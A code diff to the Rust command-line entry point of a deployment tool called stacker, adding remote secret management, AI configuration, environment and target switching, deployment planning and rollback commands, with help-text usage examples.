+        #[arg(long, value_name = "PORT")]
+        port: Option<u16>,
+        /// Path to SSH private key
+        #[arg(long, value_name = "PATH")]
+        key: Option<String>,
+    },
     /// Configure cloud deployment defaults in stacker.yml
     Cloud {
         #[arg(long, value_name = "FILE")]
         file: Option<String>,
     },
+    /// Configure AI defaults in stacker.yml
+    Ai {
+        #[arg(long, value_name = "FILE")]
+        file: Option<String>,
+        /// AI provider: openai, anthropic, ollama, custom
+        #[arg(long, value_name = "PROVIDER")]
+        provider: Option<String>,
+        /// AI endpoint, e.g. http://localhost:11434 for Ollama
+        #[arg(long, value_name = "URL")]
+        endpoint: Option<String>,
+        /// AI model name, e.g. llama3.1
+        #[arg(long, value_name = "MODEL")]
+        model: Option<String>,
+        /// AI request timeout in seconds
+        #[arg(long, value_name = "SECONDS")]
+        timeout: Option<u64>,
+        /// AI task name. Repeat or use comma-separated values.
+        #[arg(long = "task", value_name = "TASK")]
+        tasks: Vec<String>,
+    },
     /// Advanced/debug: generate remote orchestrator payload and wire stacker.yml
     RemotePayload {
         #[arg(long, value_name = "FILE")]
@@ -477,41 +912,227 @@ enum ConfigSetupCommands {
 
 #[derive(Debug, Subcommand)]
 enum SecretsCommands {
-    /// Set or update a secret in the .env file
+    /// Set or update a local .env secret or remote Vault-backed secret
+    #[command(after_help = "Examples:\n\
+  Local .env secret:\n\
+    stacker secrets set DB_PASSWORD=supersecret\n\
+\n\
+  Remote deployable service/app target secret (project.identity from stacker.yml):\n\
+    stacker secrets set S3_SECRET_KEY --service uploader --body supersecret\n\
+\n\
+  Use the target code listed by `stacker secrets apps` for --service.\n\
+\n\
+  Remote server secret from stdin:\n\
+    cat token.txt | stacker secrets set NPM_TOKEN --scope server --server-id 42\n\
+\n\
+  Status Panel Nginx Proxy Manager credentials from a JSON file:\n\
+    stacker secrets set npm_credentials --scope server --server-id 42 --body-file ./npm_credentials.json")]
     Set {
-        /// KEY=VALUE pair (e.g. DB_PASS=s3cr3t)
-        key_value: String,
+        /// Local mode: KEY=VALUE. Remote mode: secret name.
+        input: String,
         /// Path to .env file (default: from stacker.yml env_file, or .env)
-        #[arg(long, value_name = "FILE")]
+        #[arg(
+            long,
+            value_name = "FILE",
+            conflicts_with_all = ["scope", "project", "service", "server_id", "body", "body_file"]
+        )]
         file: Option<String>,
-    },
-    /// Get a secret value from the .env file
+        /// Remote secret scope
+        #[arg(long, value_enum)]
+        scope: Option<RemoteSecretScope>,
+        /// Project name or ID for service-scoped secrets (defaults to project.identity in stacker.yml)
+        #[arg(long, value_name = "PROJECT")]
+        project: Option<String>,
+        /// Deployable service/app target code listed by `stacker secrets apps`
+        #[arg(long, value_name = "TARGET_CODE")]
+        service: Option<String>,
+        /// Server ID for server-scoped secrets
+        #[arg(long, value_name = "SERVER_ID")]
+        server_id: Option<i32>,
+        /// Inline secret value for remote mode
+        #[arg(long, value_name = "VALUE", conflicts_with = "body_file")]
+        body: Option<String>,
+        /// Read the secret value from a file in remote mode
+        #[arg(long = "body-file", value_name = "FILE", conflicts_with = "body")]
+        body_file: Option<String>,
+    },
+    /// Get a local .env secret or remote secret metadata
+    #[command(after_help = "Examples:\n\
+  Local value (masked by default):\n\
+    stacker secrets get DB_PASSWORD\n\
+\n\
+  Local plaintext value:\n\
+    stacker secrets get DB_PASSWORD --show\n\
+\n\
+   Remote metadata only:\n\
+    stacker secrets get S3_SECRET_KEY --service uploader --json\n\
+\n\
+Remote get is metadata-only in v1 and does not reveal plaintext values.")]
     Get {
         /// Key name to retrieve
         key: String,
         /// Path to .env file
-        #[arg(long, value_name = "FILE")]
+        #[arg(
+            long,
+            value_name = "FILE",
+            conflicts_with_all = ["scope", "project", "service", "server_id", "json"]
+        )]
         file: Option<String>,
         /// Show the actual value instead of masking it
-        #[arg(long)]
+        #[arg(long, conflicts_with_all = ["scope", "project", "service", "server_id", "json"])]
         show: bool,
+        /// Remote secret scope
+        #[arg(long, value_enum)]
+        scope: Option<RemoteSecretScope>,
+        /// Project name or ID for service-scoped secrets (defaults to project.identity in stacker.yml)
+        #[arg(long, value_name = "PROJECT")]
+        project: Option<String>,
+        /// Deployable service/app target code listed by `stacker secrets apps`
+        #[arg(long, value_name = "TARGET_CODE")]
+        service: Option<String>,
+        /// Server ID for server-scoped secrets
+        #[arg(long, value_name = "SERVER_ID")]
+        server_id: Option<i32>,
+        /// Output metadata as JSON in remote mode
+        #[arg(long)]
+        json: bool,
     },
-    /// List all secrets in the .env file
+    /// List local .env secrets or remote secret metadata
+    #[command(after_help = "Examples:\n\
+  Local list:\n\
+    stacker secrets list\n\
+\n\
+  Remote service secrets:\n\
+    stacker secrets list --service uploader\n\
+\n\
+  Remote server secrets as JSON:\n\
+    stacker secrets list --scope server --server-id 42 --json\n\
+\n\
+ Remote list returns metadata only in v1.")]
     List {
         /// Path to .env file
-        #[arg(long, value_name = "FILE")]
+        #[arg(
+            long,
+            value_name = "FILE",
+            conflicts_with_all = ["scope", "project", "service", "server_id", "json"]
+        )]
         file: Option<String>,
         /// Show actual values (default: mask with ***)
-        #[arg(long)]
+        #[arg(long, conflicts_with_all = ["scope", "project", "service", "server_id", "json"])]
         show: bool,
+        /// Remote secret scope
+        #[arg(long, value_enum)]
+        scope: Option<RemoteSecretScope>,
+        /// Project name or ID for service-scoped secrets (defaults to project.identity in stacker.yml)
+        #[arg(long, value_name = "PROJECT")]
+        project: Option<String>,
+        /// Deployable service/app target code listed by `stacker secrets apps`
+        #[arg(long, value_name = "TARGET_CODE")]
+        service: Option<String>,
+        /// Server ID for server-scoped secrets
+        #[arg(long, value_name = "SERVER_ID")]
+        server_id: Option<i32>,
+        /// Output metadata as JSON in remote mode
+        #[arg(long)]
+        json: bool,
+    },
+    /// List valid remote deployable service/app target codes (`stacker secrets apps`)
+    #[command(
+        visible_alias = "services",
+        after_help = "Examples:\n\
+     List remote target codes using project.identity from stacker.yml:\n\
+     stacker secrets apps\n\
+   \n\
+   Register one local stacker.yml service as a remote target:\n\
+     stacker secrets apps register upload\n\
+   \n\
+   Sync all local stacker.yml services as remote targets:\n\
+     stacker secrets apps sync\n\
+   \n\
+   List remote target codes for a project:\n\
+     stacker secrets apps --project blog\n\
+  \n\
+  Output app metadata as JSON:\n\
+    stacker secrets apps --json"
+    )]
+    Apps {
+        #[command(subcommand)]
+        command: Option<SecretsAppsCommands>,
+        /// Project name or ID (defaults to project.identity in stacker.yml)
+        #[arg(long, value_name = "PROJECT")]
+        project: Option<String>,
+        /// Output app metadata as JSON
+        #[arg(long)]
+        json: bool,
     },
-    /// Delete a secret from the .env file
+    /// Push stored remote secrets for a service/app target into runtime env
+    #[command(
+        visible_aliases = ["deploy", "apply"],
+        after_help = "Examples:\n\
+  Push stored remote secrets into the runtime env for a target:\n\
+    stacker secrets push --service device-api\n\
+\n\
+  Overwrite a drifted remote runtime .env if needed:\n\
+    stacker secrets push --service device-api --force\n\
+\n\
+Aliases:\n\
+  stacker secrets deploy --service device-api\n\
+  stacker secrets apply --service device-api\n\
+\n\
+This does not create or change secret values. Use `stacker secrets set` first."
+    )]
+    Push {
+        /// Deployable service/app target code listed by `stacker secrets apps`
+        #[arg(long, value_name = "TARGET_CODE")]
+        service: String,
+        /// Project name or ID (defaults to project.identity in stacker.yml)
+        #[arg(long, value_name = "PROJECT")]
+        project: Option<String>,
+        /// Overwrite a drifted remote runtime .env and recreate the container
+        #[arg(long)]
+        force: bool,
+        /// Output command result as JSON
+        #[arg(long)]
+        json: bool,
+        /// Deployment hash
+        #[arg(long)]
+        deployment: Option<String>,
+        /// Deploy environment/profile, e.g. local, dev, prod
+        #[arg(long = "env", alias = "environment", value_name = "ENVIRONMENT")]
+        environment: Option<String>,
+    },
+    /// Delete a local .env secret or a remote Vault-backed secret
+    #[command(after_help = "Examples:\n\
+  Local delete:\n\
+    stacker secrets delete DB_PASSWORD\n\
+\n\
+   Remote service secret delete:\n\
+    stacker secrets delete S3_SECRET_KEY --service uploader\n\
+\n\
+  Remote server secret delete:\n\
+    stacker secrets delete NPM_TOKEN --scope server --server-id 42")]
     Delete {
         /// Key name to delete
         key: String,
         /// Path to .env file
-        #[arg(long, value_name = "FILE")]
+        #[arg(
+            long,
+            value_name = "FILE",
+            conflicts_with_all = ["scope", "project", "service", "server_id"]
+        )]
         file: Option<String>,
+        /// Remote secret scope
+        #[arg(long, value_enum)]
+        scope: Option<RemoteSecretScope>,
+        /// Project name or ID for service-scoped secrets (defaults to project.identity in stacker.yml)
+        #[arg(long, value_name = "PROJECT")]
+        project: Option<String>,
+        /// Deployable service/app target code listed by `stacker secrets apps`
+        #[arg(long, value_name = "TARGET_CODE")]
+        service: Option<String>,
+        /// Server ID for server-scoped secrets
+        #[arg(long, value_name = "SERVER_ID")]
+        server_id: Option<i32>,
     },
     /// Validate all ${VAR} references in stacker.yml are set in .env or environment
     Validate {
@@ -521,11 +1142,35 @@ enum SecretsCommands {
     },
 }
 
+#[derive(Debug, Subcommand)]
+enum SecretsAppsCommands {
+    /// Register one local stacker.yml service as a remote secret target
+    Register {
+        /// Local service name from stacker.yml
+        service: String,
+        /// Project name or ID (defaults to project.identity in stacker.yml)
+        #[arg(long, value_name = "PROJECT")]
+        project: Option<String>,
+        /// Output registered app metadata as JSON
+        #[arg(long)]
+        json: bool,
+    },
+    /// Register/update all local stacker.yml services as remote secret targets
+    Sync {
+        /// Project name or ID (defaults to project.identity in stacker.yml)
+        #[arg(long, value_name = "PROJECT")]
+        project: Option<String>,
+        /// Output registered app metadata as JSON
+        #[arg(long)]
+        json: bool,
+    },
+}
+
 #[derive(Debug, Subcommand)]
 enum CiCommands {
     /// Export a CI/CD pipeline configuration file
     Export {
-        /// Platform: github, gitlab
+        /// Platform: github, gitlab, bitbucket, jenkins
         #[arg(long)]
         platform: String,
         /// Path to stacker.yml (default: ./stacker.yml)
@@ -534,7 +1179,7 @@ enum CiCommands {
     },
     /// Validate that the CI/CD pipeline is in sync with stacker.yml
     Validate {
-        /// Platform: github, gitlab
+        /// Platform: github, gitlab, bitbucket, jenkins
         #[arg(long)]
         platform: String,
     },
@@ -542,11 +1187,21 @@ enum CiCommands {
 
 #[derive(Debug, Subcommand)]
 enum PipeCommands {
-    /// Discover connectable endpoints on a container
+    /// Discover local containers or probe a remote app
     Scan {
-        /// App code to scan (e.g., "crm", "website")
-        app: String,
-        /// Protocols to probe (default: openapi,rest)
+        /// Legacy selector: container filter in local mode, app code in remote mode
+        #[arg(value_name = "APP_OR_FILTER", hide = true)]
+        legacy_selector: Option<String>,
+        /// Explicit remote app selector
+        #[arg(long, conflicts_with = "containers")]
+        app: Option<String>,
+        /// Explicit local container discovery; optional filter when provided
+        #[arg(long, value_name = "FILTER", num_args = 0..=1, default_missing_value = "*", conflicts_with = "app")]
+        containers: Option<String>,
+        /// Narrow the remote app scan to a specific container
+        #[arg(long, requires = "app")]
+        container: Option<String>,
+        /// Protocols to probe (default: openapi,html_forms,rest)
         #[arg(long, value_delimiter = ',')]
         protocols: Vec<String>,
         /// Capture sample responses from discovered endpoints
@@ -565,9 +1220,18 @@ enum PipeCommands {
         source: String,
         /// Target app code
         target: String,
-        /// Skip AI matching, manual selection only
+        /// Skip all auto-matching, manual selection only
         #[arg(long)]
         manual: bool,
+        /// Force AI-powered field matching (requires ai: config in stacker.yml)
+        #[arg(long, conflicts_with = "no_ai")]
+        ai: bool,
+        /// Force deterministic field matching (disable AI even if configured)
+        #[arg(long, conflicts_with = "ai")]
+        no_ai: bool,
+        /// Use ML-based field matching (n-gram cosine similarity)
+        #[arg(long, conflicts_with_all = ["ai", "no_ai"])]
+        ml: bool,
         /// Output in JSON format
         #[arg(long)]
         json: bool,
@@ -651,6 +1315,17 @@ enum PipeCommands {
         #[arg(long)]
         deployment: Option<String>,
     },
+    /// Deploy (promote) a local pipe instance to a remote deployment
+    Deploy {
+        /// Local pipe instance ID (UUID) to promote
+        instance_id: String,
+        /// Target deployment hash to deploy into
+        #[arg(long)]
+        deployment: String,
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+    },
 }
 
 #[derive(Debug, Subcommand)]
@@ -718,6 +1393,15 @@ enum AgentCommands {
         /// Deployment hash
         #[arg(long)]
         deployment: Option<String>,
+        /// Deploy environment/profile, e.g. local, dev, prod
+        #[arg(long = "env", alias = "environment", value_name = "ENVIRONMENT")]
+        environment: Option<String>,
+        /// Print a read-only deploy-app plan instead of applying changes
+        #[arg(long)]
+        plan: bool,
+        /// Revalidate and apply a previously generated deploy-app plan fingerprint
+        #[arg(long, value_name = "FINGERPRINT", conflicts_with = "plan")]
+        apply_plan: Option<String>,
     },
     /// Remove an app container from the remote deployment
     #[command(name = "remove-app")]
@@ -782,9 +1466,12 @@ enum AgentCommands {
         /// Port to forward to
         #[arg(long)]
         port: u16,
-        /// Enable SSL (default: true)
-        #[arg(long, default_value_t = true)]
+        /// Enable SSL/Let's Encrypt certificate issuance (default: off; use --ssl to enable)
+        #[arg(long, default_value_t = false)]
         ssl: bool,
+        /// Disable SSL/Let's Encrypt (no-op; SSL is off by default)
+        #[arg(long = "no-ssl")]
+        no_ssl: bool,
         /// Action: create, update, delete
         #[arg(long, default_value = "create")]
         action: String,
@@ -804,8 +1491,26 @@ enum AgentCommands {
         #[command(subcommand)]
         command: AgentListCommands,
     },
-    /// Show agent and container status for the deployment
-    Status {
+    /// List apps deployed for the target deployment (alias for `stacker agent list apps`)
+    Apps {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Deployment hash
+        #[arg(long)]
+        deployment: Option<String>,
+    },
+    /// List containers running on the target server (alias for `stacker agent list containers`)
+    Containers {
+        /// Output in JSON format
+        #[arg(long)]
+        json: bool,
+        /// Deployment hash
+        #[arg(long)]
+        deployment: Option<String>,
+    },
+    /// Show agent and container status for the deployment
+    Status {
         /// Output in JSON format
         #[arg(long)]
         json: bool,
@@ -844,9 +1549,16 @@ enum AgentCommands {
         /// Path to stacker.yml (default: ./stacker.yml)
         #[arg(long, value_name = "FILE")]
         file: Option<String>,
+        /// Persist monitoring.status_panel=true back to the local stacker.yml
+        #[arg(long)]
+        persist_config: bool,
         /// Output in JSON format
         #[arg(long)]
         json: bool,
+        /// Install via local SSH instead of the Stacker cloud install service.
+        /// Detected automatically when deploy.server.host is a private/intranet IP.
+        #[arg(long)]
+        local: bool,
     },
 }
 
@@ -884,6 +1596,12 @@ struct AiArgs {
     /// Requires a tool-capable model (Ollama: llama3.1/qwen2.5-coder, OpenAI: any).
     #[arg(long)]
     write: bool,
+    /// Activate a built-in AI scenario such as `website-deploy`.
+    #[arg(long, global = true)]
+    scenario: Option<String>,
+    /// Select the active scenario step such as `init-validate` or `cloud-deploy`.
+    #[arg(long, global = true)]
+    step: Option<String>,
 }
 
 #[derive(Debug, Subcommand)]
@@ -928,6 +1646,128 @@ enum ProxyCommands {
     },
 }
 
+fn inferred_remote_secret_scope(
+    scope: Option<RemoteSecretScope>,
+    service: &Option<String>,
+    server_id: Option<i32>,
+) -> Option<RemoteSecretScope> {
+    scope.or_else(|| {
+        if service.is_some() {
+            Some(RemoteSecretScope::Service)
+        } else if server_id.is_some() {
+            Some(RemoteSecretScope::Server)
+        } else {
+            None
+        }
+    })
+}
+
+fn should_use_remote_secret_set(
+    scope: Option<RemoteSecretScope>,
+    project: &Option<String>,
+    service: &Option<String>,
+    server_id: Option<i32>,
+    body: &Option<String>,
+    body_file: &Option<String>,
+) -> bool {
+    scope.is_some()
+        || project.is_some()
+        || service.is_some()
+        || server_id.is_some()
+        || body.is_some()
+        || body_file.is_some()
+}
+
+fn should_use_remote_secret_metadata(
+    scope: Option<RemoteSecretScope>,
+    project: &Option<String>,
+    service: &Option<String>,
+    server_id: Option<i32>,
+    json: bool,
+) -> bool {
+    scope.is_some() || project.is_some() || service.is_some() || server_id.is_some() || json
+}
+
+fn active_environment_path(project_dir: &std::path::Path) -> std::path::PathBuf {
+    project_dir.join(".stacker").join("active-env")
+}
+
+fn read_active_environment(
+    project_dir: &std::path::Path,
+) -> Result<Option<String>, Box<dyn std::error::Error>> {
+    let path = active_environment_path(project_dir);
+    if !path.exists() {
+        return Ok(None);
+    }
+
+    let value = std::fs::read_to_string(path)?;
+    let value = value.trim().to_string();
+    if value.is_empty() {
+        Ok(None)
+    } else {
+        Ok(Some(value))
+    }
+}
+
+fn write_active_environment(
+    project_dir: &std::path::Path,
+    environment: &str,
+) -> Result<(), Box<dyn std::error::Error>> {
+    let stacker_dir = project_dir.join(".stacker");
+    std::fs::create_dir_all(&stacker_dir)?;
+    std::fs::write(
+        active_environment_path(project_dir),
+        format!("{environment}\n"),
+    )?;
+    Ok(())
+}
+
+fn validate_environment_name(
+    project_dir: &std::path::Path,
+    environment: &str,
+) -> Result<(), Box<dyn std::error::Error>> {
+    if environment.trim().is_empty() {
+        return Err("Environment name cannot be empty".into());
+    }
+
+    let config_path = project_dir.join("stacker.yml");
+    if !config_path.exists() {
+        return Ok(());
+    }
+
+    let config = stacker::cli::config_parser::StackerConfig::from_file(&config_path)?;
+    if !config.environments.is_empty() && !config.environments.contains_key(environment) {
+        let available = config
+            .environments
+            .keys()
+            .cloned()
+            .collect::<Vec<_>>()
+            .join(", ");
+        return Err(format!(
+            "Unknown environment '{environment}'. Available environments: {available}"
+        )
+        .into());
+    }
+
+    Ok(())
+}
+
+fn resolved_config_environment(
+    project_dir: &std::path::Path,
+) -> Result<Option<String>, Box<dyn std::error::Error>> {
+    let config_path = project_dir.join("stacker.yml");
+    if !config_path.exists() {
+        return Ok(None);
+    }
+
+    let active_target =
+        stacker::cli::deployment_lock::DeploymentLock::read_active_target(project_dir)?;
+    let config = stacker::cli::config_parser::StackerConfig::from_file(&config_path)?
+        .with_resolved_deploy_target(active_target.as_deref())?;
+
+    Ok(config.selected_environment(None))
+}
+
 fn main() -> Result<(), Box<dyn std::error::Error>> {
     let cli = match Cli::try_parse() {
         Ok(cli) => cli,
@@ -940,7 +1780,7 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
                     return Ok(());
                 }
                 ErrorKind::DisplayVersion => {
-                    err.print()?;
+                    println!("{}", stacker::version::display_version());
                     return Ok(());
                 }
                 _ => {
@@ -968,6 +1808,55 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
         return Ok(());
     }
 
+    // Target switching is filesystem-only, no API needed.
+    if let StackerCommands::Target { target } = subcommand {
+        use stacker::cli::deployment_lock::DeploymentLock;
+        let project_dir = std::env::current_dir()?;
+
+        match target {
+            Some(t) => {
+                DeploymentLock::switch_target(&project_dir, &t)?;
+                eprintln!("✓ Active target switched to: {}", t);
+            }
+            None => match DeploymentLock::read_active_target(&project_dir)? {
+                Some(t) => println!("{}", t),
+                None => {
+                    eprintln!("No active target set. Use: stacker target <local|cloud|server>");
+                }
+            },
+        }
+        return Ok(());
+    }
+
+    if let StackerCommands::Env { environment } = subcommand {
+        let project_dir = std::env::current_dir()?;
+        match environment {
+            Some(environment) => {
+                validate_environment_name(&project_dir, &environment)?;
+                write_active_environment(&project_dir, &environment)?;
+                eprintln!("✓ Active environment switched to: {}", environment);
+            }
+            None => {
+                let active = read_active_environment(&project_dir)?;
+                let configured = resolved_config_environment(&project_dir)?;
+                match (active, configured) {
+                    (Some(active), Some(configured)) => {
+                        println!("{}", active);
+                        if active != configured {
+                            eprintln!("Configured default environment: {}", configured);
+                        }
+                    }
+                    (Some(active), None) => println!("{}", active),
+                    (None, Some(configured)) => println!("{}", configured),
+                    (None, None) => {
+                        eprintln!("No active environment set. Use: stacker env <environment>");
+                    }
+                }
+            }
+        }
+        return Ok(());
+    }
+
     let command = get_command(subcommand)?;
     if let Err(err) = command.call() {
         eprintln!("Error: {}", err);
@@ -984,25 +1873,49 @@ fn get_command(
             org,
             domain,
             auth_url,
-        } => Box::new(
-            stacker::console::commands::cli::login::LoginCommand::new(org, domain, auth_url),
-        ),
+            server_url,
+            browser,
+            provider,
+            user,
+        } => Box::new(stacker::console::commands::cli::login::LoginCommand::new(
+            org, domain, auth_url, server_url, browser, provider, user,
+        )),
+        StackerCommands::Whoami {} => {
+            Box::new(stacker::console::commands::cli::whoami::WhoamiCommand::new())
+        }
         StackerCommands::Init {
             app_type,
             with_proxy,
             with_ai,
             with_cloud,
+            target,
+            from_github,
+            force,
             ai_provider,
             ai_model,
             ai_api_key,
-        } => Box::new(
-            stacker::console::commands::cli::init::InitCommand::new(
-                app_type, with_proxy, with_ai, with_cloud,
+            ai_endpoint,
+        } => {
+            // If --target is specified, set the active target after init
+            if let Some(ref t) = target {
+                use stacker::cli::deployment_lock::DeploymentLock;
+                let project_dir = std::env::current_dir()?;
+                DeploymentLock::switch_target(&project_dir, t)?;
+                eprintln!("✓ Active target set to: {}", t);
+            }
+            Box::new(
+                stacker::console::commands::cli::init::InitCommand::new(
+                    app_type, with_proxy, with_ai, with_cloud,
+                )
+                .with_from_github(from_github)
+                .with_force(force)
+                .with_ai_options(ai_provider, ai_model, ai_api_key, ai_endpoint),
             )
-            .with_ai_options(ai_provider, ai_model, ai_api_key),
-        ),
+        }
         StackerCommands::Deploy {
+            service,
             target,
+            environment,
             file,
             dry_run,
             force_rebuild,
@@ -1015,6 +1928,10 @@ fn get_command(
             lock,
             force_new,
             runtime,
+            plan,
+            apply_plan,
+            no_hooks,
+            allow_untrusted_hooks,
         } => Box::new(
             stacker::console::commands::cli::deploy::DeployCommand::new(
                 target,
@@ -1022,13 +1939,21 @@ fn get_command(
                 dry_run,
                 force_rebuild,
             )
+            .with_service(service)
+            .with_environment(environment)
             .with_remote_overrides(project, key, server)
             .with_key_id(key_id)
             .with_watch(watch, no_watch)
             .with_lock(lock)
             .with_force_new(force_new)
-            .with_runtime(runtime),
+            .with_runtime(runtime)
+            .with_plan(plan)
+            .with_apply_plan(apply_plan)
+            .with_hook_flags(no_hooks, allow_untrusted_hooks),
         ),
+        StackerCommands::Connect { handoff } => {
+            Box::new(stacker::console::commands::cli::connect::ConnectCommand::new(handoff))
+        }
         StackerCommands::Logs {
             service,
             follow,
@@ -1040,41 +1965,102 @@ fn get_command(
         StackerCommands::Status { json, watch } => Box::new(
             stacker::console::commands::cli::status::StatusCommand::new(json, watch),
         ),
+        StackerCommands::Deployment { command } => match command {
+            DeploymentCommands::State { json, deployment } => Box::new(
+                stacker::console::commands::cli::deployment::DeploymentStateCommand::new(
+                    json, deployment,
+                ),
+            ),
+            DeploymentCommands::Events { json, deployment } => Box::new(
+                stacker::console::commands::cli::deployment::DeploymentEventsCommand::new(
+                    json, deployment,
+                ),
+            ),
+            DeploymentCommands::Rollback {
+                to,
+                plan,
+                apply_plan,
+                deployment,
+                confirm,
+            } => Box::new(
+                stacker::console::commands::cli::deployment::DeploymentRollbackCommand::new(
+                    to, plan, apply_plan, confirm, deployment,
+                ),
+            ),
+        },
+        StackerCommands::Explain { command } => match command {
+            ExplainCommands::Env { app, json } => Box::new(
+                stacker::console::commands::cli::explain::ExplainEnvCommand::new(app, json),
+            ),
+            ExplainCommands::Topology { json } => Box::new(
+                stacker::console::commands::cli::explain::ExplainTopologyCommand::new(json),
+            ),
+        },
         StackerCommands::Destroy { volumes, confirm } => Box::new(
             stacker::console::commands::cli::destroy::DestroyCommand::new(volumes, confirm),
         ),
+        StackerCommands::Rollback { version, confirm } => Box::new(
+            stacker::console::commands::cli::rollback::RollbackCommand::new(version, confirm),
+        ),
         StackerCommands::Config { command: cfg_cmd } => match cfg_cmd {
-            ConfigCommands::Validate { file } => Box::new(
-                stacker::console::commands::cli::config::ConfigValidateCommand::new(file),
-            ),
-            ConfigCommands::Show { file } => Box::new(
-                stacker::console::commands::cli::config::ConfigShowCommand::new(file),
-            ),
-            ConfigCommands::Example => Box::new(
-                stacker::console::commands::cli::config::ConfigExampleCommand::new(),
+            ConfigCommands::Validate { file } => {
+                Box::new(stacker::console::commands::cli::config::ConfigValidateCommand::new(file))
+            }
+            ConfigCommands::Show { file, resolved } => Box::new(
+                stacker::console::commands::cli::config::ConfigShowCommand::new(file, resolved),
             ),
+            ConfigCommands::Example => {
+                Box::new(stacker::console::commands::cli::config::ConfigExampleCommand::new())
+            }
             ConfigCommands::Fix { file, interactive } => Box::new(
                 stacker::console::commands::cli::config::ConfigFixCommand::new(file, interactive),
             ),
-            ConfigCommands::Lock { file } => Box::new(
-                stacker::console::commands::cli::config::ConfigLockCommand::new(file),
-            ),
-            ConfigCommands::Unlock { file } => Box::new(
-                stacker::console::commands::cli::config::ConfigUnlockCommand::new(file),
-            ),
+            ConfigCommands::Lock { file } => {
+                Box::new(stacker::console::commands::cli::config::ConfigLockCommand::new(file))
+            }
+            ConfigCommands::Unlock { file } => {
+                Box::new(stacker::console::commands::cli::config::ConfigUnlockCommand::new(file))
+            }
             ConfigCommands::Setup { command } => match command {
+                ConfigSetupCommands::Server {
+                    file,
+                    ip,
+                    user,
+                    port,
+                    key,
+                } => Box::new(
+                    stacker::console::commands::cli::config::ConfigSetupServerCommand::new(
+                        file, ip, user, port, key,
+                    ),
+                ),
                 ConfigSetupCommands::Cloud { file } => Box::new(
                     stacker::console::commands::cli::config::ConfigSetupCloudCommand::new(file),
                 ),
+                ConfigSetupCommands::Ai {
+                    file,
+                    provider,
+                    endpoint,
+                    model,
+                    timeout,
+                    tasks,
+                } => Box::new(
+                    stacker::console::commands::cli::config::ConfigSetupAiCommand::new(
+                        file, provider, endpoint, model, timeout, tasks,
+                    ),
+                ),
                 ConfigSetupCommands::RemotePayload { file, out } => Box::new(
-                    stacker::console::commands::cli::config::ConfigSetupRemotePayloadCommand::new(file, out),
+                    stacker::console::commands::cli::config::ConfigSetupRemotePayloadCommand::new(
+                        file, out,
+                    ),
                 ),
             },
         },
         StackerCommands::Ai(ai_args) => match ai_args.command {
-            None => Box::new(
-                stacker::console::commands::cli::ai::AiChatCommand::new(ai_args.write),
-            ),
+            None => Box::new(stacker::console::commands::cli::ai::AiChatCommand::new(
+                ai_args.write,
+                ai_args.scenario,
+                ai_args.step,
+            )),
             Some(AiCommands::Ask {
                 question,
                 context,
@@ -1083,19 +2069,18 @@ fn get_command(
             }) => Box::new(
                 stacker::console::commands::cli::ai::AiAskCommand::new(question, context)
                     .with_configure(configure)
+                    .with_scenario(ai_args.scenario, ai_args.step)
                     .with_write(ai_args.write || write),
             ),
         },
-        StackerCommands::Proxy {
-            command: proxy_cmd,
-        } => match proxy_cmd {
+        StackerCommands::Proxy { command: proxy_cmd } => match proxy_cmd {
             ProxyCommands::Add {
                 domain,
                 upstream,
                 ssl,
             } => Box::new(
                 stacker::console::commands::cli::proxy::ProxyAddCommand::new(
-                    domain, upstream, ssl,
+                    domain, upstream, ssl, false, false, None,
                 ),
             ),
             ProxyCommands::Detect { json, deployment } => Box::new(
@@ -1103,24 +2088,49 @@ fn get_command(
             ),
         },
         StackerCommands::List { command: list_cmd } => match list_cmd {
-            ListCommands::Projects { json } => Box::new(
-                stacker::console::commands::cli::list::ListProjectsCommand::new(json),
-            ),
-            ListCommands::Deployments { json, project, limit } => Box::new(
+            ListCommands::Projects { json } => {
+                Box::new(stacker::console::commands::cli::list::ListProjectsCommand::new(json))
+            }
+            ListCommands::Deployments {
+                json,
+                project,
+                limit,
+            } => Box::new(
                 stacker::console::commands::cli::list::ListDeploymentsCommand::new(
                     json, project, limit,
                 ),
             ),
-            ListCommands::Servers { json } => Box::new(
-                stacker::console::commands::cli::list::ListServersCommand::new(json),
-            ),
-            ListCommands::SshKeys { json } => Box::new(
-                stacker::console::commands::cli::list::ListSshKeysCommand::new(json),
-            ),
-            ListCommands::Clouds { json } => Box::new(
-                stacker::console::commands::cli::list::ListCloudsCommand::new(json),
-            ),
+            ListCommands::Servers { json } => {
+                Box::new(stacker::console::commands::cli::list::ListServersCommand::new(json))
+            }
+            ListCommands::SshKeys { json } => {
+                Box::new(stacker::console::commands::cli::list::ListSshKeysCommand::new(json))
+            }
+            ListCommands::Clouds { json } => {
+                Box::new(stacker::console::commands::cli::list::ListCloudsCommand::new(json))
+            }
         },
+        StackerCommands::Projects { json } => {
+            Box::new(stacker::console::commands::cli::list::ListProjectsCommand::new(json))
+        }
+        StackerCommands::Deployments {
+            json,
+            project,
+            limit,
+        } => Box::new(
+            stacker::console::commands::cli::list::ListDeploymentsCommand::new(
+                json, project, limit,
+            ),
+        ),
+        StackerCommands::Servers { json } => {
+            Box::new(stacker::console::commands::cli::list::ListServersCommand::new(json))
+        }
+        StackerCommands::SshKeys { json } => {
+            Box::new(stacker::console::commands::cli::list::ListSshKeysCommand::new(json))
+        }
+        StackerCommands::Clouds { json } => {
+            Box::new(stacker::console::commands::cli::list::ListCloudsCommand::new(json))
+        }
         StackerCommands::SshKey { command: ssh_cmd } => match ssh_cmd {
             SshKeyCommands::Generate { server_id, save_to } => Box::new(
                 stacker::console::commands::cli::ssh_key::SshKeyGenerateCommand::new(
@@ -1136,7 +2146,9 @@ fn get_command(
                 private_key,
             } => Box::new(
                 stacker::console::commands::cli::ssh_key::SshKeyUploadCommand::new(
-                    server_id, public_key, private_key,
+                    server_id,
+                    public_key,
+                    private_key,
                 ),
             ),
             SshKeyCommands::Inject {
@@ -1154,32 +2166,224 @@ fn get_command(
             ServiceCommands::Add { name, file } => Box::new(
                 stacker::console::commands::cli::service::ServiceAddCommand::new(name, file),
             ),
+            ServiceCommands::Import {
+                name,
+                from_compose,
+                from_github,
+                from_url,
+                service,
+                rename,
+                file,
+                review,
+                yes,
+                json,
+            } => Box::new(
+                stacker::console::commands::cli::service::ServiceImportCommand::new(
+                    name,
+                    from_compose,
+                    from_github,
+                    from_url,
+                    service,
+                    rename,
+                    file,
+                    review,
+                    yes,
+                    json,
+                ),
+            ),
+            ServiceCommands::Deploy {
+                name,
+                force,
+                runtime,
+                json,
+                deployment,
+                environment,
